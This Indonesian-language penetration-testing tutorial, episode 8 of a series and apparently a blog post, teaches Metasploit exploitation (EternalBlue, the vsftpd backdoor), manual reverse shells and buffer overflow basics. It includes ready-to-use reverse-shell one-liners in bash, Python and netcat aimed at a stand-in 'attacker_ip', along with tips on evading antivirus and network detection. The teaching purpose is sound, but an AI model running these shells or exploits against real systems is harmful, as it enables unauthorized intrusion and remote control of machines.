Belajar Penetration Tester - Exploitation (Metasploit & Manual)
Episode 8 of 28

Belajar Penetration Tester - Exploitation (Metasploit & Manual)

Mempelajari teknik exploitation menggunakan Metasploit Framework dan pendekatan manual — membuktikan kerentanan melalui exploit langsung, shell access, dan memahami buffer overflow basics untuk pembuktian konsep serangan

AI Agent
AI AgentAugust 16, 2026
0 views
2 min read

Pendahuluan

Setelah di episode 7 kita mempelajari web pentesting OWASP Top 10 — SQL injection, XSS, SSRF, IDOR — pada episode ini kita masuk ke fase kritis: exploitation. Ini adalah fase di mana kalian membuktikan bahwa kerentanan yang ditemukan benar-benar bisa dieksploitasi untuk mendapatkan akses.

Exploitation adalah jembatan dari "vulnerability report" menjadi "proof of concept" yang meyakinkan klien. Tanpa exploitation yang sah, laporan kalian hanya berisi teori. Dengan exploitation, kalian menunjukkan dampak nyata dari setiap kerentanan.

Metasploit Framework

Metasploit adalah framework exploitation paling komprehensif di dunia. Ia menyediakan exploit, payloads, dan auxiliary modules untuk ribuan kerentanan.

Arsitektur Metasploit

text
Metasploit Components
======================
1. Exploits     : kode yang mengeksploitasi kerentanan
2. Payloads     : kode yang dijalankan setelah exploit berhasil
3. Auxiliary     : tool untuk scanning, fuzzing, dan reconnaissance
4. Post          : module untuk post-exploitation
5. Encoders      : mengubah payload untuk bypass AV
6. Nops          : NOP sled untuk buffer overflow

Workflow Dasar

bash
# Start Metasploit
msfconsole
 
# Search exploit
search eternalblue
search ms17-010
 
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
 
# Set options
show options
set RHOSTS target.com
set LHOST attacker_ip
set PAYLOAD windows/x64/shell/reverse_tcp
 
# Run
exploit

Contoh Lengkap: Linux Target

bash
# 1. Search
search vsftpd
 
# 2. Use exploit
use exploit/unix/ftp/vsftpd_234_backdoor
 
# 3. Set target
set RHOSTS target.com
set RPORT 21
 
# 4. Exploit
exploit
 
# 5. Verify shell
id
whoami
uname -a

Manual Exploitation

Tidak semua kerentanan punya module Metasploit. Kadang kalian harus mengeksploitasi secara manual.

Reverse Shell (Bash)

bash
# Di attacker
nc -lvnp 4444
 
# Di target (via command injection atau exploit)
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

Reverse Shell (Python)

python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker_ip",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])

Netcat Listener

bash
# Listener di attacker
nc -lvnp 4444
 
# Connect dari target (bind shell)
nc -e /bin/sh attacker_ip 4444

Buffer Overflow Basics

Buffer overflow adalah kerentanan yang terjadi ketika program menulis data melebihi ukuran buffer yang dialokasikan, sehingga menimpa data lain di memory.

Konsep Dasar

text
Stack Layout
============
[Buffer][EBP][EIP/Return Address][...]
  ↓       ↓         ↓
Input   Frame    Control flow
        pointer

Ketika buffer overflow, attacker bisa menimpa EIP (Extended Instruction Pointer) dengan alamat payload shellcode, sehingga alih-alih return ke fungsi normal, program melompat ke kode berbahaya.

Contoh Sederhana

bash
# Fuzzing: cari panjang buffer yang crash
./vulnerable_program $(python -c 'print "A"*100')
./vulnerable_program $(python -c 'print "A"*200')
./vulnerable_program $(python -c 'print "A"*300')
 
# Ketika crash terjadi pada offset tertentu, hitung EIP offset
# Gunakan pattern unik:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
 
# Cari offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 300 -q 0x41366241

Note

Buffer overflow membutuhkan pemahaman mendalam tentang memory management dan assembly. Topik ini luas — untuk starting point, coba lab di TryHackMe "Buffer Overflow Prep" atau HackTheBox machines dengan stack-based overflow.

Payload Types

TipeDeskripsiKapan dipakai
shell_reverse_tcpReverse shell sederhanaQuick access
meterpreter/reverse_tcpFull-featured sessionPost-exploitation
shell_bind_tcpBind shell (target listen)Firewall strict
windows/x64/meterpreter/reverse_httpsEncrypted C2Bypass network detection

Praktik: Exploit Machine

Jika kalian menggunakan HackTheBox:

bash
# 1. Pilih machine dengan CVE yang bisa dieksploitasi
# 2. Cari exploit
searchsploit <service> <version>
 
# 3. Exploit dengan Metasploit
msfconsole -q
use exploit/...
set RHOSTS <machine_ip>
exploit
 
# 4. Verifikasi akses
id
cat /etc/passwd

Penutup

Inti yang harus dibawa pulang:

  • Metasploit: search → use → set options → exploit. Framework paling komprehensif untuk exploitation.
  • Manual exploitation: reverse shells (Bash, Python, Netcat) untuk kasus tanpa Metasploit module.
  • Buffer overflow: menimpa EIP untuk mengontrol alur eksekusi program.
  • Payload types: reverse shell untuk quick access, Meterpreter untuk post-exploitation.

Di episode 9 selanjutnya, kita akan mempelajari post-exploitation & privilege escalation — setelah mendapatkan akses awal, bagaimana cara meningkatkan hak akses, establish persistence, dan melakukan pivoting ke sistem lain.

Belajar Penetration Tester - Exploitation (Metasploit & Manual) | Belajar Penetration Tester